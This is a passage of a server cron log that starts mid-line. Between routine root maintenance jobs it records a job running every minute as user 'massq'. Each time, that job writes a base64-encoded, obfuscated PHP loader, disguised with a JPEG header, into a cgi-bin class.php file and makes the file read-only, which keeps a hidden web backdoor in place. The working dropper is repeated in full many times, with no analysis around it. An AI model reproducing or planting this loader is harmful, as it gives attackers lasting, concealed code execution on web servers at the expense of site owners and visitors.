&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:19:01 server CROND[22892]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:20:01 server CROND[23715]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 21:20:01 server CROND[23713]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 21:20:01 server CROND[23714]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:20:01 server CROND[23720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:20:01 server CROND[23723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:21:01 server CROND[24593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:22:01 server CROND[25402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:23:01 server CROND[26333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:24:01 server CROND[27149]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:25:01 server CROND[27786]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:25:01 server CROND[27787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:25:01 server CROND[27788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:26:01 server CROND[28557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:27:01 server CROND[29244]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 21:27:01 server CROND[29245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:28:01 server CROND[30167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:29:01 server CROND[30981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:30:01 server CROND[31969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:30:01 server CROND[31971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:30:01 server CROND[31972]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 21:30:01 server CROND[31979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
